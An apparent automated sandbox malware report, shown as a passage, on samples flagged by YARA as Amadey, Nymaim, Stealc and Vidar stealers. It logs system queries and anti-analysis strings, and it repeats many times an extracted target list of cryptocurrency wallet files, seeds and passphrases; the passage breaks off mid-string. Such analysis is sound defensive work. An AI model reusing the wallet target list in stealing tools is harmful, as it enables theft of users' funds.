Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF0A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6CF0A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_003865E0 LookupAccountNameA,

32_2_003865E0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE58390 NSS_GetVersion,

1_2_6CE58390

Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.DocumentsBGDBAKFCFH.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.1926085427.0000000000381000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1913348703.0000000000381000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1866951903.0000000000041000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.1872657895.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1885321979.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.1824805973.0000000004840000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2537034040.0000000000381000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2190575864.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Nymaim

Source: Yara match	File source: 34.2.unik.exe.4940e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.unik.exe.4a30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.unik.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.unik.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.2537288977.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2356321988.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2554694289.0000000004940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1818898702.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1275692336.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2708, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2708, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco*r2
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco*r2
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco*r2
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local 